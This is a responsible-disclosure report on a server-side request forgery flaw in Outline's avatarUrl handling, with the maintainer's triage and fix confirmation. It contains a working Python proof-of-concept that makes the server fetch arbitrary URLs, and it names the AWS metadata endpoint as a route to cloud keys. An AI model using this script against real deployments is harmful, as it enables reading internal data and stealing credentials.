Full Read Server-Side Request Forgery (SSRF) in outline/outline

Valid

Reported on

Jul 1st 2022


🔒️ Requirements

Privileges: None.

📝 Description

The avatarUrl post parameter from /api/users.update and /api/teams.update api endpoint isn't sanitize and permit to get a full read SSRF exploitation. When updating user's or team's avatar, even if from client side we can only change it by uploading an image to s3bucket, we still can change the supplied an url to force the server fetching and uploading the content url we want. If the fetching was doing well, we get it's url as an outpout, allowing us to retrieve the full content of the page.

  • Case n°1: /api/users.update.

1°) The avatarUrl post parameter is recieved by /server/routes/api/users.ts on users.update road. (link)

2°) Then it is sent to user uploadAvatar method. (link)

3°) Finaly it is upload via uploadToS3FromUrl method. (link)

  • Case n°2: /api/teams.update

1°) The avatarUrl post parameter is recieved by /server/routes/api/teams.ts on teams.update road. (link)

2°) Then it is sent to team uploadAvatar method. (link)

3°) Finaly it is upload via uploadToS3FromUrl method. (link)

In both case, the workflow is quite the same and the vulnerability occure at in the same method uploadToS3FromUrl.

export const uploadToS3FromUrl = async (
  url: string,
  key: string,
  acl: string
) => {
  try {
    const res = await fetch(url);
    // @ts-expect-error ts-migrate(2339) FIXME: Property 'buffer' does not exist on type 'Response... Remove this comment to see the full error message
    const buffer = await res.buffer();
    await s3
      .putObject({
        ACL: acl,
        Bucket: AWS_S3_UPLOAD_BUCKET_NAME,
        Key: key,
        ContentType: res.headers["content-type"],
        ContentLength: res.headers["content-length"],
        Body: buffer,
      })
      .promise();
    const endpoint = publicS3Endpoint(true);
    return `${endpoint}/${key}`;
    ...
};

Here, as you can see, the fetch request result is imediatly upload to the s3bucket without verifying the MIME type or remote hostname ip. Due to this, all files from all destinations can be retrieved by the SSRF.

🕵️‍♂️ Proof of Concept

home.png

  • Step 2: retrieve your accessToken cookie from the developer tab.

cookies.png

  • Step 3: use the folowing script to exploit de SSRF:
    • ssrf_url = webpage you want to get.
    • accessToken = your access token
    • outline_url = your outline url
from requests import post
from json import loads

ssrf_url = "https://mizu.re"
accessToken = "XXX"
outline_url = "XXX"

# init
api_url = "https://%s/api/users.update" % outline_url # Change it 
headers = {
    "Authorization": "Bearer %s" % accessToken
}
json = {
    "avatarUrl": ssrf_url
}

# request
r = loads(post(url=api_url, headers=headers, json=json).text)

if "https://outline-production-attachments.s3-accelerate.amazonaws.com/" in r["data"]["avatarUrl"]:
    print("\n\x1b[1m[+] SSRF output generated:", r["data"]["avatarUrl"], "\x1b[0m\n")
else:
    print("\n\x1b[31;1m=== ERROR FETCHING THE WEBPAGE ===\x1b[0m\n")
  • Step 4: go to the url and retrieve the output.
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="icon" type="image/png" href="https://mizu.re/favicon.png">
<link rel="stylesheet" type="text/css" href="https://mizu.re/assets/css/normalize.css">
<link rel="stylesheet" type="text/css" href="https://mizu.re/assets/css/style.css">
<link rel="stylesheet" href="https://mizu.re/assets/css/style-dark-specific.css" id="theme-style"><link rel="stylesheet" href="https://mizu.re/assets/css/github-markdown-dark.css" id="markdown-style"><link rel="stylesheet" type="text/css" href="https://mizu.re/assets/css/materialize.min.css">
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">

...

🔨 Fix

To fix this vulnerability, I suggest you to:

  • Allow only image MIME type like:
    • image/png
    • image/jpeg
  • Resolve hostname IP to avoid internal HTTP query.
  • Check for magic bytes.

OR

  • Avoid uploading files via an URL.

Depending on how you want to use uploadToS3FromUrl method later, I suggest you use those filters in Team and User uploadAvatar method or directly inside uploadToS3FromUrl. Directly fixing uploadToS3FromUrl will be more efficient and avoid any new SSRF on that endpoint but, you won't be able to use it to upload other type files that cité above.

Impact

An attacker could use it to get internal information. For example, if the server is hosted on AWS, he may fetch the AWS API endpoint (http://169.254.169.254/) which containe AWS API informations (keys...).

More informations about this kind of vulnerabilities: SSRF

We are processing your report and will contact the outline team within 24 hours. a month ago
We have contacted a member of the outline team and are waiting to hear back a month ago
Tom Moor
a month ago

We will change the avatarUrl method so that it does not trigger an internal download, however I don't think this can be classes as High unless you have proven the ability to download any internal information at all.

Tom Moor modified the Severity from High (8.2) to Medium (5.4) a month ago
The researcher has received a minor penalty to their credibility for miscalculating the severity: -1
Tom Moor validated this vulnerability a month ago
Mizu has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Tom Moor confirmed that a fix has been merged on 62d9bf a month ago
The fix bounty has been dropped
to join this conversation